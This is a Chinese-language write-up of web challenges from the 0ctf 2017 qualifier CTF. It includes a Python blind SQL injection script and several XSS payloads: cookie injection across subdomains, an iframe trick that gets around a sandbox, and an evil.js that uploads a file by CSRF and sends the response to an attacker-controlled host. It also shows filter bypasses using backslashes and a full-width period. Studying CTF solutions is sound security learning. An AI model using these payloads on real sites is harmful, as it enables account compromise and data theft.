内容字号:默认大号超大号

段落设置:段首缩进取消段首缩进

字体设置:切换到微软雅黑切换到宋体

0ctf 2017 quals web writeup

2017-03-22 14:02 出处:清屏网 人气: 评论(0

simplesqlin

送分的题目,后端似乎有特殊过滤,总之%0d会被去掉,放在关键词中间绕过过滤即可。

Temmo’s Tiny Shop

这道题感觉做出来很巧合,一开始不知道用的谁的 admin 账户登陆上去了,后来是没再成功过估计是弱口令被改了…

登陆上去之后发现钱好多啊…就都买了一次,发现只有被买的东西才会出现在搜索结果当中。所以每样都买了一个。

经过简单的测试,发现 keyword 字段经过了转义,所以基本杜绝了注入的可能,而 orderby 有严格的过滤,跑了一次 ascii 0-255 得到能够使用的符号有逗号与括号。

买了 hint 知道 flag 在哪个表了。于是就使用这个去跑。

首先猜测后端的语句。

select * from xxx where name like ‘%yyy%’ order by hhh;

本地测试发现 hhh 处没有单引号包裹,具体测试方法也就是测试一下单引号包裹和他的表现是有区别的,随便测测就知道了,不细讲了。

这样就可以用盲注了,我使用if(condition,name,price) 如果condition为真则按照name排序,否则按照price排序。

上脚本。

from requests import get,session

sess = session()

url = 'http://202.120.7.197/app.php?action=search&keyword=&order=if((select(select(flag)from(ce63e444b0d049e9c899c9a0336b3c59))like(%s25)),name,price)'

flag = '0x25746564'

header = {
    'Cookie':'PHPSESSID=ujgvf3k1i51oildmlps410bau5'
}

dic = 'abcdefghijklmnopqrstuvwxyz0123456789_}'

for i in range(0,40):
    for j in dic:
        bit = hex(ord(j))[2:]
        cont = get(url % (flag + bit),headers = header)
        if cont.content.find('Backsword') < cont.content.find('Brownie'):
            flag += bit
            print flag
            break

有长度限制,所以是慢慢跑出来的,首先跑flag{前面比较明显的部分,后面就以下划线为单位跑。跑出来一个单词就把这个单词换成%_再接着往下一个下划线跑。最终得到flag 实际上也是不完整的,猜了一个单词is。。。

KoG

seccon final 2016 遇到过,当时就很崩溃,不过这次要简单得多。

这emscripten编译的东西首先会检查你在url中传入的 id 参数是否存在sql注入,如果有就会返回给你个错误信息而不给你正确的hash值,推测他是在一个if分支里判断然后给你return掉。。。

一个一个return找过去,排除掉库函数,最终定位到两个if,全都改成0就绕过了判断,生成hash值传给服务端。

后端的注入没有任何过滤,都很简单。

complicated xss

在 government.vip 这个根域提交信息,然后在 admin 子域去上传文件。有几个坑点。

发现 admin 子域用 test 登陆上去之后,有一个保存用户信息的 cookie 是 httponly 保护的,所以直接 xss 得到 cookie 去传文件是不现实的,只能利用 csrf 。

发现登录后有一个 cookie 值是用户名,会被显示在前端,存在 xss

所以思路是 在根域设置admin域的cookie。

有一个坑,一开始发现无论如何都设置不起来,后来查了下一些需要遵循的标准知道了如果 path 不同的话是不能写重名 cookie 的,admin浏览我们的页面的时候在 /data/ 这个目录,所以需要设置 path 为 /。

第一个payload:

<script>
location.href='http://admin.government.vip:8000/';
document.cookie='username=<script src=//xss.lt/evil.js><\/script>;domain=government.vip;Path=/';
</script>

然后就是利用 evil.js 去利用 csrf 了,首先读取页面源代码,注意不要直接带着源码跳转过来,否则执行到存在 xss 的地方就跳转来的话 DOM 并未加载完全,得到的页面源代码是不完整的,需要设置一个 timeout。

得到页面源代码为:

<h1>Hello <script src="//xss.lt/evil.js"></script></h1>


<p>Upload your shell</p>
<form action="/upload" method="post" enctype="multipart/form-data">
<p><input type="file" name="file" value=123></p>
<p><input type="submit" value="upload">
</p></form>

得到了参数就可以上传文件了,但是又一个难点,如何才能绕过head里面所规定的sandbox呢?

sandbox里delete window.XMLHttpRequest,不能使用 xhr 又该如何上传文件呢。

灵机一动,想到了 sandbox 只存在于 / ,而 /login 没有sandbox,我们可以构造两个 iframe ,让 / 去使用 /login 的 window.XMLHttpRequest 不就行了吗?

于是最终的payload如下,说明见部分注释,应当是浅显易懂的:

<script>
document.cookie='username=<script src=//xss.lt/evil.js><\/script>;domain=government.vip;Path=/';
location.href='http://xss.lt/upload.html';//设置好cookie后让他跳转到我构造好的页面。
</script>

upload.html 的内容:

<iframe id="melody" src="http://admin.government.vip:8000/"></iframe>
<iframe id="m310dy" src="http://admin.government.vip:8000/login"></iframe>

evil.js 的内容

function submitRequest()
      {
        window.XMLHttpRequest = window.top.frames[1].XMLHttpRequest; // 重新定义 window.XMLHttpRequest,继承另一个 iframe 的 window.XMLHttpRequest.
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://admin.government.vip:8000/upload", true);
        xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "de-de,de;q=0.8,en-us;q=0.5,en;q=0.3");
        xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------256672629917035");
        xhr.withCredentials = "true";
        var body = "-----------------------------256672629917035\r\n" +
          "Content-Disposition: form-data; name=\"file\"; filename=\"test2.txt\"\r\n" +
          "Content-Type: text/plain\r\n" +
          "\r\n" +
          "test3\r\n" +
          "-----------------------------256672629917035--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i);
        xhr.onreadystatechange = function() {
            if (xhr.readyState == XMLHttpRequest.DONE) {
                location.href="http://ip:port/"+escape(xhr.responseText);//把上传文件后的response给发回来。
            }
        }
        xhr.send(new Blob([aBody]));
}
submitRequest();

上传文件后的返回就是flag

simplexss

用他的 preview 功能测试了一下,发现过滤了 >,引号冒号全都不能用,这让我怎么弄呢?

结果被一个坑坑了差不多一下午。。

因为 / 也被过滤了,所以指望用 // 来代替网址开头是不行了,但是 \ 没被过滤,灵机一动想到如果用 \ 呢?

结果发现 \ 默认是 file 协议…后来试了好久,学长说他那里 \ 是 https 协议, exm??

打开 ubuntu 虚拟机,发现在 linux 下 \ 默认使用当前域的协议,windows下 \ 本身就有特殊用途,是一个 path 的写法,所以才使用了 file

既然可以使用 \,那就意味着可以 import一个 url, import 非常好用,在能够使用的情况下比起 iframe 的好处是没有跨域的问题,因为 import 相当于把另一个网页 include 进了当前域。

于是来了个 payload:

<link rel=import href=\\ip2long

本地测试发现怎么都无法通过,这是为啥??打开 console 看到报错是 不安全的响应,当前页面是 https,而我的服务器虽然开启了 https,但是因为证书是不和 ip 绑定而是和域名绑定的,所以我需要使用域名才能绕过这个限制。

但是 . 被过滤了呀?怎么使用域名呢?

不知道各位有没有印象,就是在浏览器地址栏输入。会变成.的,乌云知识库曾经有一篇文章对这类现象有详细的描述,所以这里可以用句号绕过.

最终 payload

<link rel=import href=\\xss。lt

在这里感谢 hostker 的一键申请证书功能…真的是方便。

然后用 jquery get方法去取得 flag.php 的内容就好啦。

分享给小伙伴们:
本文标签: XSS漏洞

相关文章

发表评论愿您的每句评论,都能给大家的生活添色彩,带来共鸣,带来思索,带来快乐。

CopyRight © 2015-2016 QingPingShan.com , All Rights Reserved.

清屏网 版权所有 豫ICP备15026204号